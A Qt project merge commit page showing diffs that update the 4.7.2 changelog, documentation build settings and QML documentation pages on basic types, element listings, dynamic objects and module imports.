diff options
author | Olivier Goffart <olivier.goffart@nokia.com> | 2011-02-10 10:57:05 (GMT) |
---|---|---|
committer | Olivier Goffart <olivier.goffart@nokia.com> | 2011-02-10 11:23:31 (GMT) |
commit | 72e0778c9b5bdae58596090b114d5d0e7092f911 (patch) | |
tree | 53c31d9b61700c2c6db672767e24953192c5373c | |
parent | abb425e3db6c20c5271788cb1ec4e1fe37b9ea5b (diff) | |
parent | 50bb35a5ca48816f7563d1055071b4caa7791056 (diff) | |
download | Qt-72e0778c9b5bdae58596090b114d5d0e7092f911.zip Qt-72e0778c9b5bdae58596090b114d5d0e7092f911.tar.gz Qt-72e0778c9b5bdae58596090b114d5d0e7092f911.tar.bz2 |
Merge remote-tracking branch 'origin/4.7' into qt-master-from-4.7
Conflicts:
doc/src/development/qmake-manual.qdoc
mkspecs/symbian-gcce/qmake.conf
qmake/project.cpp
src/corelib/global/qnamespace.qdoc
src/declarative/graphicsitems/qdeclarativetext.cpp
src/gui/text/qtextdocumentlayout.cpp
src/gui/text/qtextdocumentlayout_p.h
tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
tests/auto/networkselftest/networkselftest.pro
tests/auto/qscriptengine/tst_qscriptengine.cpp
tools/designer/src/components/signalsloteditor/signalslot_utils.cpp
tools/designer/src/components/signalsloteditor/signalsloteditorwindow.cpp
tools/qdoc3/test/qt-build-docs.qdocconf
tools/qdoc3/test/qt-html-templates.qdocconf
tools/qdoc3/test/qt-html-templates_zh_CN.qdocconf
tools/qdoc3/test/qt.qdocconf
tools/qdoc3/test/qt_ja_JP.qdocconf
tools/qdoc3/test/qt_zh_CN.qdocconf
372 files changed, 13635 insertions, 16793 deletions
diff --git a/dist/changes-4.7.2 b/dist/changes-4.7.2 index d351856..03a5408 100644 --- a/dist/changes-4.7.2 +++ b/dist/changes-4.7.2 @@ -47,10 +47,10 @@ QtGui - QWidget * [QTMOBILITY-645] Send WinIdChange event when winId is set to zero. - The window handle of a native widget may be set to zero in two - situations: (i) temporarily, during reparenting and (ii) during - widget destruction. Previously, no WinIdChange event was sent in - either of these cases; now, it is sent in both cases. + The window handle of a native widget may be set to zero in two + situations: (i) temporarily, during reparenting and (ii) during + widget destruction. Previously, no WinIdChange event was sent in + either of these cases; now, it is sent in both cases. QtDBus ------ @@ -129,6 +129,22 @@ Qt for Mac OS X Qt for Symbian -------------- + - Paging changes + * [QT-3503] Remove PAGED keyword from all Qt-based binaries for + MMP-based build systems (abld, SBSv2 (a.k.a. Raptor)). + This changes the code paging field in the Symbian (E32Image) header + from "paged" to "default". Thus it is left to the configuration + of the particular device whether paging is used for the binary or + not. All devices that support code paging should have it turned + on (the value is stored in the HAL, so can be checked using eg. + fshell); data paging may or may not be turned on depending on the + device characteristics. Leaving both code and data paging as + "default" means that any limitations in the device (eg. around + flash wear) can be controlled by that device by disabling the + appropriate types of paging rather than being forced by the binary + (which may be deployed to several different devices with different + characteristics). + - Phonon MMF backend * [QTBUG-11436] Added a MediaObject property which allows the client to specify which Internet Access Point should be used for streaming. @@ -192,6 +208,12 @@ Qt for Symbian - qtmain.lib * [QTBUG-14735] Use qtmain.lib to provide entry point for all Symbian applications. + - QWidget + * [QT-4416, QTBUG-17288] On devices which lack support for transparency + in EGL surfaces, setting Qt::WA_TranslucentBackground on a widget + whose windowType() is Qt::Window causes that widget to be rendered + using the raster graphics system. + Qt for Embedded Linux --------------------- diff --git a/doc/doc.pri b/doc/doc.pri index a5db3c7..3cdac61 100644 --- a/doc/doc.pri +++ b/doc/doc.pri @@ -19,8 +19,8 @@ $$unixstyle { QDOC = cd $$QT_SOURCE_TREE/tools/qdoc3/test && set QT_BUILD_TREE=$$QT_BUILD_TREE&& set QT_SOURCE_TREE=$$QT_SOURCE_TREE&& $$QT_BUILD_TREE/bin/qdoc3.exe $$DOCS_GENERATION_DEFINES QDOC = $$replace(QDOC, "/", "\\") } -ADP_DOCS_QDOCCONF_FILE = -online qt-build-docs.qdocconf -QT_DOCUMENTATION = ($$QDOC -creator qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \ +ADP_DOCS_QDOCCONF_FILE = qt-build-docs-online.qdocconf +QT_DOCUMENTATION = ($$QDOC qt-api-only.qdocconf assistant.qdocconf designer.qdocconf \ linguist.qdocconf qmake.qdocconf qdeclarative.qdocconf) && \ (cd $$QT_BUILD_TREE && \ $$GENERATOR doc-build/html-qt/qt.qhp -o doc/qch/qt.qch && \ diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc index 6cd1f22..263c78b 100644 --- a/doc/src/declarative/advtutorial.qdoc +++ b/doc/src/declarative/advtutorial.qdoc @@ -41,7 +41,7 @@ included in the declarative \c demos directory, which looks like this: \image declarative-samegame.png We will cover concepts for producing a fully functioning application, including -JavaScript integration, using QML \l States and \l {Behavior}{Behaviors} to +JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to manage components and enhance your interface, and storing persistent application data. An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't @@ -462,5 +462,4 @@ By following this tutorial you've seen how you can write a fully functional appl There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML! - */ diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc index 941acfe..0655fdb 100644 --- a/doc/src/declarative/anchor-layout.qdoc +++ b/doc/src/declarative/anchor-layout.qdoc @@ -28,7 +28,7 @@ /*! \page qml-anchor-layout.html \target anchor-layout -\title Anchor-based Layout in QML +\title Anchor-Based Layout in QML \section1 Overview diff --git a/doc/src/declarative/basictypes.qdoc b/doc/src/declarative/basictypes.qdoc index 99f1bed..8503f4e 100644 --- a/doc/src/declarative/basictypes.qdoc +++ b/doc/src/declarative/basictypes.qdoc @@ -174,13 +174,10 @@ transparent blue to a quad of \c "#800000FF". Example: - \qml - Rectangle { color: "steelblue" } - Rectangle { color: "transparent" } - Rectangle { color: "#FF0000" } - Rectangle { color: "#800000FF" } - Rectangle { color: "#00000000" } // ARGB fully transparent - \endqml + \div{float-right} + \inlineimage declarative-colors.png + \enddiv + \snippet doc/src/snippets/declarative/colors.qml colors Or with the \l{QML:Qt::rgba()}{Qt.rgba()}, \l{QML:Qt::hsla()}{Qt.hsla()}, \l{QML:Qt::darker()}{Qt.darker()}, \l{QML:Qt::lighter()}{Qt.lighter()} or \l{QML:Qt::tint()}{Qt.tint()} functions: @@ -361,9 +358,11 @@ Actions are used like this: \qml - MouseArea { onClicked: myaction.trigger() } - State { name: "enabled"; when: myaction.enabled == true } - Text { text: someaction.text } + Item { + MouseArea { onClicked: myaction.trigger() } + State { name: "enabled"; when: myaction.enabled == true } + Text { text: someaction.text } + } \endqml \sa {QML Basic Types} @@ -400,14 +399,11 @@ \c child1, \c child2 and \c child3 will be added to the children list in the order in which they appear. - List \l {Adding Properties}{properties} can be created as a - \c variant type, or as a \c list<Type> type, where \c Type is the - type of the object in the list: + List \l {Adding Properties}{properties} can be declared as \c list<Type> + type, where \c Type is the type of the object in the list: \qml Item { - property variant values: [ 10, 20, 'abc', 'xyz' ] - property list<Rectangle> rects: [ Rectangle { width: 100; height: 100}, Rectangle { width: 200; height: 200} @@ -415,136 +411,124 @@ } \endqml - A \c variant list can contain values of any of the \l {QML Basic Types}{basic QML types} - such as numbers, strings, etc. while a \c list<Type> list can only contain values - that match (or are derived from) the specified \c Type. + A list property can only contain values that match (or are derived from) the + specified \c Type. - A list property can be cleared by setting it to an empty list: + While the \c rects property can be reassigned to a different list value (including + an empty list), its individual values cannot be modified. See the \l variant type + documentation for details. - \qml - Item { - children: [] - } - \endqml + \sa {QML Basic Types} +*/ - A list property cannot be modified in any other way. Items cannot be dynamically added to - or removed from the list through JavaScript operations; any \c push() operations on the - list only modify a \e copy of the list and not the actual list. (These current limitations - are due to restrictions on \l {Property Binding} where lists are involved.) +/*! + \qmlbasictype variant + \ingroup qmlbasictypes - You can, however, modify a copy of the list and then reassign the property to the modified - value. Other options are to create an array object from within a \c .js JavaScript file, - or implement a custom list element in C++. Here is a QML element that modifies the list in a - JavaScript file: + \brief A variant type is a generic property type. - \table - \row - \o - \qml - // QML - import "script.js" as Script + A variant is a generic property type. A variant type property can hold + any of the \l {QML Basic Types}{basic type} values: + \qml Item { - Component.onCompleted: { - Script.addItem('abc') - console.log("Added:", Script.getList()[0]) - } + property variant aNumber: 100 + property variant aString: "Hello world!" + property variant aBool: false } \endqml - \o - \code - // script.js - var myArray = new Array() - - function getList() { - return myArray - } - - function addItem(item) { - myArray.push(item) - } - \endcode - \endtable + The \c variant type can also hold: - However, note that a JavaScript list should not be used as a QML \c property value, - as the property is not updated when the list changes. + \list + \o An array of \l {QML Basic Types}{basic type} values + \o A map of key-value pairs with \l {QML Basic Types}{basic-type} values + \endlist - \sa {QML Basic Types} -*/ + For example, below is an \c items array and an \c attributes map. Their + contents can be examined using JavaScript \c for loops. Individual array + values are accessible by index, and individual map values are accessible + by key: + \qml + Item { + property variant items: [1, 2, 3, "four", "five"] + property variant attributes: { 'color': 'red', 'width': 100 } -/*! - \qmlbasictype variant - \ingroup qmlbasictypes + Component.onCompleted: { + for (var i=0; i<items.length; i++) + console.log(items[i]) - \brief A variant type is a generic property type. + for (var prop in attributes) + console.log(prop, "=", attributes[prop]) + } + } + \endqml - A variant is a generic property type. A variant type property can hold any of the - \l {QML Basic Types}{basic type} values: + While this is a convenient way to store array and map-type values, you + must be aware that the \c items and \c attributes properties above are \e not + QML objects (and certainly not JavaScript object either) and the key-value + pairs in \c attributes are \e not QML properties. Rather, the \c items + property holds an array of values, and \c attributes holds a set of key-value + pairs. Since they are stored as a set of values, instead of as an object, + their contents \e cannot be modified individually: \qml Item { - property variant aNumber : 100 - property variant aString : "Hello world!" - property variant aList : [ 1, 2, "buckle my shoe" ] + property variant items: [1, 2, 3, "four", "five"] + property variant attributes: { 'color': 'red', 'width': 100 } + + Component.onCompleted: { + items[0] = 10 + console.log(items[0]) // This will still be '1'! + attributes.color = 'blue' + console.log(attributes.color) // This will still be 'red'! + } } \endqml - The \c variant type can also hold a \e copy of a JavaScript object. For example, the - \c animal property below defines a JavaScript object defined with JSON notation. The - object's properties and values can be examined using the standard JavaScript syntax, - as shown in the \c Component.onCompleted handler. + Additionally, since \c items and \c attributes are not QML objects, changing + their individual values do not trigger property change notifications. If + the above example had \c onNumberChanged or \c onAnimalChanged signal + handlers, they would not have been called. If, however, the \c items or + \c attributes properties themselves were reassigned to different values, then + such handlers would be called. + + One way to "update" the contents of an array or map is to copy the property + to a JavaScript object, modify the copy as desired, and then reassign the + property to the updated copy. Note, however, that this is not efficient. + In the example below, which reassigns the \c attributes property, the \e entire + set of key-value pairs must be serialized and deserialized every time it is + copied between a JavaScript object and a QML property: \qml Item { - property variant animal : { 'type': 'bird', 'species': 'galah', 'age': 7 } + property variant attributes: { ''color': 'red', 'width': 100 } Component.onCompleted: { - for (var attribute in animal) - console.log(attribute, "=", animal[attribute]) + // Change the value of attributes.color to 'blue': + var temp = attributes // copy all values to 'temp' + temp.color = 'blue' + attributes = temp // copy all values back to 'attributes' } } \endqml - It must be noted that the \c animal property holds a \e copy of the defined object, and - not the object itself. (This is true even if the property refers to an object defined in - some JavaScript file; the property will hold a copy of the object, and not the actual - object.) The property essentially holds a copy of the contents within the object. This - has several implications: + Since this operation is inefficient, if a list or map should be modifiable, + it is better to use alternative approaches. For example, you could implement + a custom C++ list element, or write to a JavaScript object defined from + within a JavaScript file. - \list - \o Changes to any of the property's values (for example, the \c animal.type value - above) only modify the \e copy of the object, not the object itself. You can, however, - modify a copy of the object and then reassign the property to the modified value. - \o Because the property only holds a copy of the object, \l{Property Binding}{bindings} to - any of the property's individual values are not updated until the whole property is - reassigned to a new value. For example: - - \qml - Item { - property variant animal : { 'type': 'bird', 'species': 'galah', 'age': 7 } - - Text { text: "Animal species: " + animal.species } - - Component.onCompleted: { - animal.species = 'kookaburra' // this has no effect on the displayed text - - var newObj = animal - newObj.species = 'kookaburra' - animal = newObj // this will update the displayed text - } - } - \endqml - \o Since the object values are copied, it does not hold any reference to the original - object, and extra data such as the object's JavaScript prototype chain is lost in the - process. - \endlist + JavaScript programmers should also note that when a JavaScript object is + copied to an array or map property, the \e contents of the object (that is, + its key-value properties) are copied, rather than the object itself. The + property does not hold a reference to the original JavaScript object, and + extra data such as the object's JavaScript prototype chain is also lost in + the process. \sa {QML Basic Types} */ - /*! \qmlbasictype vector3d \ingroup qmlbasictypes diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index 491e499..aa9ed18 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -91,7 +91,7 @@ Module. \list \o \l{QML Documents} \o \l{Property Binding} -\o \l{Anchor-based Layout in QML} +\o \l{Anchor-Based Layout in QML} \o \l{Writing QML Components: Properties, Methods and Signals} \o \l{QML Scope} \o \l{QML Modules} diff --git a/doc/src/declarative/dynamicobjects.qdoc b/doc/src/declarative/dynamicobjects.qdoc index f186dca..316fe6b 100644 --- a/doc/src/declarative/dynamicobjects.qdoc +++ b/doc/src/declarative/dynamicobjects.qdoc @@ -190,7 +190,9 @@ Note also that if a \c SelfDestroyingRect instance was created statically like t \qml Item { - SelfDestroyingRect { ... } + SelfDestroyingRect { + // ... + } } \endqml diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index 40d67e7..466b940 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -29,118 +29,161 @@ \page qdeclarativeelements.html \target elements \title QML Elements - \brief A dictionary of standard QML elements. - - This is a dictionary of all standard QML elements made available - in the Qt Declarative module. - - To see the QML elements listed by functional area, see the - \l{Groups Of Related QML Elements} page. - - \table - \header \o {2,1} \bold {Basic Visual Items} - \row \o \l {Item} \o Basic item element inherited by all visual items in QML - \row \o \l {Rectangle} \o Basic visual rectangle element - \row \o \l {Gradient} \o Defines a gradient between two or more colors - \row \o \l {GradientStop} \o Defines a color used in a \l {Gradient} - \row \o \l {Image} \o Allows the use of bitmaps to a scene - \row \o \l {BorderImage} (Item-specific) \o Defines an image as a border - \row \o \l {AnimatedImage} \o For playing animations stored as a series of frames - \row \o \l {Text} \o Allows the use of formatted text in a scene - \row \o \l {TextInput} \o Displays an editable line of text - \row \o \l {IntValidator} \o Validator for integer values - \row \o \l {DoubleValidator} \o Validator for non-integer values - \row \o \l {RegExpValidator} \o Validator for string regular expressions - \row \o \l {TextEdit} \o Displays multiple lines of editable formatted text - - \header \o {2,1} \bold {Basic Interaction Items} - \row \o \l {MouseArea} \o Handles mouse interactions - \row \o \l {FocusScope} \o For keyboard focus handling - \row \o \l {Flickable} \o Provides a surface that can be "flicked" - \row \o \l {Flipable} \o Provides a surface that produces flipping effects - \row \o \l {GestureArea} (experimental) \o Enables simple gesture handling - - \header \o {2,1} \bold {States} - \row \o \l {State} \o Defines sets of configurations of objects and properties - \row \o \l {PropertyChanges} \o Describes property changes within a state - \row \o \l {StateGroup} \o Contains a set of states and state transitions - \row \o \l {StateChangeScript} \o Allows script binding in a state - \row \o \l {ParentChange} (Item-specific) \o Re-parent an Item in a state change - \row \o \l {AnchorChanges} \o Change the anchors of an item in a state - - \header \o {2,1} \bold {Animation and Transitions} - \row \o \l {Behavior} \o Specifies a default animation for property changes - \row \o \l {SequentialAnimation} \o Runs animations sequentially - \row \o \l {ParallelAnimation} \o Runs animations in parallel - \row \o \l {PropertyAnimation} \o Animates property changes - \row \o \l {NumberAnimation} \o Animates properties of type qreal - \row \o \l {Vector3dAnimation} \o Animates properties of type QVector3d - \row \o \l {ColorAnimation} \o Animates color changes - \row \o \l {RotationAnimation} \o Animates rotations - \row \o \l {ParentAnimation} \o Animates parent changes - \row \o \l {AnchorAnimation} \o Animates anchor changes - \row \o \l {PauseAnimation} \o Pauses an animation - \row \o \l {SmoothedAnimation} \o Allows a property to smoothly track a value - \row \o \l {SpringAnimation} \o Allows a property to track a value in a spring-like motion - \row \o \l {PropertyAction} \o Sets immediate property changes during animation - \row \o \l {ScriptAction} \o Runs scripts during an animation - \row \o \l {Transition} \o Animates transitions during state changes - - \header \o {2,1} \bold {Working with Data} - \row \o \l {Binding} \o Binds any value to any property - \row \o \l {ListModel} \o Defines a list of data - \row \o \l {ListElement} \o Defines a data item in a \l {ListModel} - \row \o \l {VisualItemModel} \o Contains items that already defines its own visual delegate - \row \o \l {VisualDataModel} \o Encapsulates a model and a delegate - \row \o \l {Package} \o Collection that enables sharing of items within different views - \row \o \l {XmlListModel} \o Specifies a model using XPath expressions - \row \o \l {XmlRole} \o Specifies a role for an \l {XmlListModel} - - \header \o {2,1} \bold {Views} - \row \o \l {ListView} \o Provides a list visualization of a model - \row \o \l {GridView} \o Provides a grid visualization of a model - \row \o \l {PathView} \o Visualizes a model's contents along a path - \row \o \l {Path} \o Defines a path used by \l {PathView} - \row \o \l {PathLine} \o Defines a line in \l {Path} - \row \o \l {PathQuad} \o Defines a quadratic Bezier curve in a \l {Path} - \row \o \l {PathCubic} \o Defines a cubic Bezier curve in a \l {Path} - \row \o \l {PathAttribute} \o Allows the setting of attributes along a \l {Path} - \row \o \l {PathPercent} \o Modifies the item distribution along a \l {Path} - \row \o \l {WebView} \o Allows the addition of web content to a canvas - - \header \o {2,1} \bold {Positioners} - \row \o \l {Column} \o Arranges its children vertically - \row \o \l {Row} \o Arranges its children horizontally - \row \o \l {Grid} \o Positions its children in a grid - \row \o \l {Flow} \o Positions its children with wrapping support - - \header \o {2,1} \bold {Utility} - \row \o \l {Connections} \o Explicitly connects signals and signal handlers - \row \o \l {Component} \o Encapsulate QML items as a component - \row \o \l {Timer} \o Provides timed triggers - \row \o \l {QML:QtObject} {QtObject} \o Basic element containing only the objectName property - \row \o \l {QML:Qt} {Qt} \o The QML global Qt object provides useful enums and functions from Qt. - \row \o \l {WorkerScript} \o Enables the use of threads in QML - \row \o \l {Loader} \o Controls the loading of items or components - \row \o \l {Repeater} \o Uses a model to create multiples of components - \row \o \l {SystemPalette} \o Provides access to the Qt palettes - \row \o \l {FontLoader} \o Loads fonts by name or URL - \row \o \l {LayoutItem} \o Allows declarative UI elements inside Qt's Graphics View layouts - - \header \o {2,1} \bold {Transforms} - \row \o \l {Scale} \o Assigns item scaling behaviors - \row \o \l {Rotation} \o Assigns item rotation behaviors - \row \o \l {Translate} \o Assigns item translation behaviors - - \header \o {2,1} \bold {Effects} - \row \o \l {Particles} (experimental) \o Generates and animates particles - \row \o \l {ParticleMotionLinear} \o Adds linear motion behavior to \l {Particles} - \row \o \l {ParticleMotionGravity} \o Adds gravitational motion to \l {Particles} - \row \o \l {ParticleMotionWander} \o Adds varied motions to \l {Particles} - \endtable - - - + \brief A listing of standard QML elements. + +These are the functionally grouped lists of QML elements. + +Elements are declared with the their name and two curly braces. Elements may +be nested in elements, thereby creating a parent-child relationship between the +two elements. + +To see the QML elements listed by functional area, see the +\l{Groups Of Related QML Elements} page. + +\section1 Basic QML Elements +\list +\o \l {Item} - Basic item element inherited by QML elements +\o \l {Component} - Encapsulates QML elements during importing +\o \l {QML:QtObject} {QtObject} - Basic element containing only the objectName property +\endlist + +\section1 Graphics +\list +\o \l {Rectangle} - A rectangle element +\o \l {Image} - For incorporating bitmaps into a scene +\o \l {BorderImage} - Allows the use of images as borders +\o \l {AnimatedImage} - For playing animations stored in a series of frames +\o \l {Gradient} - For defining a color gradient +\o \l {GradientStop} - Used to define a color within a \l {Gradient} +\o \l {SystemPalette} - Provides access to the Qt palettes +\endlist + +\section1 Text Handling +\list +\o \l {Text} - For inserting formatted text into a scene +\o \l {TextInput} - Captures user key input +\o \l {TextEdit} - Displays multiple lines of editable formatted text +\o \l {IntValidator} - Validates values as integers +\o \l {DoubleValidator} - Validates real values +\o \l {RegExpValidator} - Validator for string regular expressions +\o \l {FontLoader} - Loads fonts by name or URL +\endlist + +\section1 Mouse and Interaction Area +\list +\o \l {MouseArea} - Sets up an area for mouse interaction +\o \l {Keys} - Provides components with attached properties to handle key input. +\o \l {FocusScope} - Element that mediate keyboard focus changes +\o \l {Flickable} - Provides a surface that can be "flicked" +\o \l {Flipable} - Provides a surface that produces "flipping" effects +\o \l {GestureArea} - Enables simple gesture handling +\endlist + +\section1 Positioners and Repeater +\list +\o \l {Column} - Arranges its children vertically +\o \l {Row} - Arranges its children horizontally +\o \l {Grid} - Positions its children in a grid +\o \l {Flow} - Positions its children with wrapping support +\o \l {Repeater} - Uses a model to create multiple components +\endlist + +\section1 Transformations +\list +\o \l {Scale} - Assigns item scaling behaviors +\o \l {Rotation} - Assigns item rotation behaviors +\o \l {Translate} - Assigns item translation behaviors +\endlist + +\section1 States +\list +\o \l {State} - Defines sets of configurations of objects and properties +\o \l {PropertyChanges} - Describes property changes within a state +\o \l {StateGroup} - Contains a set of states and state transitions +\o \l {StateChangeScript} - Allows script binding in a state +\o \l {ParentChange} - Re-parent an Item in a state change +\o \l {AnchorChanges} - Change the anchors of an item in a state +\endlist + +\section1 Animation and Transitions +\list +\o \l {Transition} - Animates transitions during state changes +\o \l {SequentialAnimation} - Runs animations sequentially +\o \l {ParallelAnimation} - Runs animations in parallel +\o \l {Behavior} - Specifies a default animation for property changes +\o \l {PropertyAction} - Sets immediate property changes during animation +\o \l {PauseAnimation} - Introduces a pause in an animation +\o \l {SmoothedAnimation} - Allows a property to smoothly track a value +\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion +\o \l {ScriptAction} - Runs scripts during an animation +\endlist + +Elements that animate properties based on data types +\list +\o \l {PropertyAnimation} - Animates property changes +\o \l {NumberAnimation} - Animates properties of type qreal +\o \l {Vector3dAnimation} - Animates properties of type QVector3d +\o \l {ColorAnimation} - Animates color changes +\o \l {RotationAnimation} - Animates rotations +\o \l {ParentAnimation} - Animates parent changes +\o \l {AnchorAnimation} - Animates anchor changes +\endlist + +\section1 Models and Data Handling +\list +\o \l {ListModel} - Defines a list of data +\o \l {ListElement} - Defines a data item in a \l {ListModel} +\o \l {VisualItemModel} - Contains items that already defines its own visual delegate +\o \l {VisualDataModel} - Encapsulates a model and a delegate +\o \l {XmlListModel} - Specifies a model using XPath expressions +\o \l {XmlRole} - Specifies a role for an \l {XmlListModel} +\o \l {Binding} - Binds any value to any property +\o \l {Package} - Collection that enables sharing of items within different views +\endlist + +\section1 Views +\list +\o \l {ListView} - Provides a list visualization of a model +\o \l {GridView} - Provides a grid visualization of a model +\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information. +\endlist + +\section1 Path Definition +\list +\o \l {Path} - Defines a path used by \l {PathView} +\o \l {PathLine} - Defines a line in \l {Path} +\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} +\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} +\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path} +\o \l {PathPercent} - Modifies the item distribution along a \l {Path} +\endlist + +\section1 Utility +\list +\o \l {Connections} - Explicitly connects signals and signal handlers +\o \l {Timer} - Provides timed triggers +\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt. +\o \l {WorkerScript} - Enables the use of threads in QML +\o \l {Loader} - Controls the loading of items or components +\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts +\endlist + +\section1 Graphical Effects +\list +\o \l {Particles} - Generates and animates particles +\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles} +\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles} +\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles} +\endlist + +\section1 Add-On Elements +These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings +should first be obtained and installed. +\list +\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents +\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins} +\endlist + */ @@ -148,7 +191,7 @@ \group qml-groups \title Groups Of Related QML Elements - \brief If you know what kind of QML element you want (Basic Visual, + \brief If you know what kind of QML element you want (Basic Visual, Interaction, Animation, etc), look here. This is a list of functional groups of QML elements. diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 7b8cb5e..27c8f58 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state. In this example: \qml -Switch { id: mySwitch; on: true } -Text { text: "The switch is on"; visible: mySwitch.on == true } +Item { + Switch { + id: mySwitch + on: true + } + Text { + text: "The switch is on" + visible: mySwitch.on == true + } +} \endqml the text will only be visible when the switch is on. diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index 5c7e1d5..a287533 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -802,12 +802,14 @@ It is optional for a property to have a default value. The default value is a co behaviorally identical to doing it in two steps, like this: \qml -// Use default value -property int myProperty: 10 +Item { + // Use default value + property int myProperty: 10 -// Longer, but behaviorally identical -property int myProperty -myProperty: 10 + // Longer, but behaviorally identical + property int myProperty + myProperty: 10 +} \endqml @@ -838,9 +840,11 @@ QML object types can also be used as property types. This includes defined like this: \qml -property Item itemProperty -property QtObject objectProperty -property MyCustomType customProperty +Item { + property Item itemProperty + property QtObject objectProperty + property MyCustomType customProperty +} \endqml Such object-type properties default to an \c undefined value. @@ -853,7 +857,9 @@ see the \l {variant}{variant type documentation} for details. list: \qml -property list<Item> listOfItems +Item { + property list<Item> listOfItems +} \endqml Note that list properties cannot be modified like ordinary JavaScript @@ -894,7 +900,7 @@ If the \l{Item::children}{children} property was not the default property for \qml Item { children: [ - Rectangle {} + Rectangle {}, Rectangle {} ] } @@ -1144,7 +1150,7 @@ code removes the connection created in \c application.qml above: \qml // application.qml Item { - ... + // ... function removeSignal() { button.clicked.disconnect(item.myMethod) @@ -1169,5 +1175,4 @@ MouseArea { Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will automatically be emitted as well. - */ diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc index 83d3ddc..85a3a25 100644 --- a/doc/src/declarative/globalobject.qdoc +++ b/doc/src/declarative/globalobject.qdoc @@ -48,7 +48,7 @@ data from over a network. The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard} as many popular web browsers with following exceptions: \list -\i QML's XMLHttpRequest does not enforce the same origin policty. +\i QML's XMLHttpRequest does not enforce the same origin policy. \i QML's XMLHttpRequest does not support \e synchronous requests. \endlist @@ -77,7 +77,7 @@ browser. The following objects and properties are supported by the QML implemen \o lastChild \o previousSibling \o nextSibling -\o attribtes +\o attributes \endlist \o diff --git a/doc/src/declarative/modules.qdoc b/doc/src/declarative/modules.qdoc index 1dca28c..f1ebd00 100644 --- a/doc/src/declarative/modules.qdoc +++ b/doc/src/declarative/modules.qdoc @@ -44,7 +44,7 @@ example, an \c import statement is required to use: \list \o A component defined in another QML file that is not in the same directory \o A component defined in a QML file located on a remote server -\o A \l{QDeclarativeExtensionPlugin}{QML C++ plugin} library (unless the plugin is installed in the same directory) +\o A \l{QDeclarativeExtensionPlugin}{QML extension plugin} library (unless the plugin is installed in the same directory) \o A JavaScript file (note this must be imported using \l {#namespaces}{named imports}) \endlist @@ -52,7 +52,7 @@ An \c import statement includes the module name, and possibly a version number. This can be seen in the snippet commonly found at the top of QML files: \qml - import QtQuick 1.0 +import QtQuick 1.0 \endqml This imports version 1.0 of the "QtQuick" module into the global namespace. (The QML @@ -61,12 +61,12 @@ are not included in the global namespace by default.) The \c Qt module is an \e installed module; it is found in the \l{The QML import path}{import path}. There are two types of QML modules: -location modules (defined by a URL) and installed modules (defined by a URI). +located modules (defined by a URL) and installed modules (defined by a URI). -\section1 Location Modules +\section1 Located Modules -Location modules can reside on the local filesystem or a network resource, +Located modules can reside on the local filesystem or a network resource, and are referred to by a quoted location URL that specifies the filesystem or network URL. They allow any directory with QML content to be imported as a module, whether the directory is on the local filesystem or a remote @@ -86,8 +86,9 @@ directory using a relative or absolute path, like this: \code MyQMLProject |- MyComponents - |- Slider.qml |- CheckBox.qml + |- Slider.qml + |- Window.qml |- Main |- application.qml \endcode @@ -96,8 +97,10 @@ MyQMLProject \code import "../MyComponents" -Slider { ... } -CheckBox { ... } +Window { + Slider { ... } + CheckBox { ... } +} \endcode \endtable @@ -106,23 +109,51 @@ Similarly, if the directory resided on a network source, it could be imported like this: \code - import "https://qml.nokia.com/qml/qmlcomponents" - import "https://qml.nokia.com/qml/qmlcomponents" 1.0 + import "http://www.my-server.com/MyQMLProject/MyComponents" + import "http://www.my-server.com/MyQMLProject/MyComponents" 1.0 +\endcode + +A located module can also be imported as a network resource if it has a +\l{Writing a qmldir file}{qmldir file} in the directory that specifies the QML files +to be made available by the module. For example, if the \c MyComponents directory +contained a \c qmldir file defined like this: + +\code +Slider 1.0 Slider.qml +CheckBox 1.0 CheckBox.qml +Window 1.0 Window.qml \endcode -Remote location modules must have a \l{Writing a qmldir file}{qmldir file} in the -same directory to specify which QML files should be made available. See the -\l {#qmldirexample}{example} below. The qmldir file is optional for modules on -the local filesystem. +If the \c MyComponents directory was then hosted as a network resource, it could +be imported as a module, like this: + +\code +import "http://the-server-name.com/MyQMLProject/MyComponents" + +Window { + Slider { ... } + CheckBox { ... } +} +\endcode + +with an optional "1.0" version specification. Notice the import would fail if +a later version was used, as the \c qmldir file specifies that these elements +are only available in the 1.0 version. +Note that modules imported as a network resource allow only access to components +defined in QML files; components defined by C++ 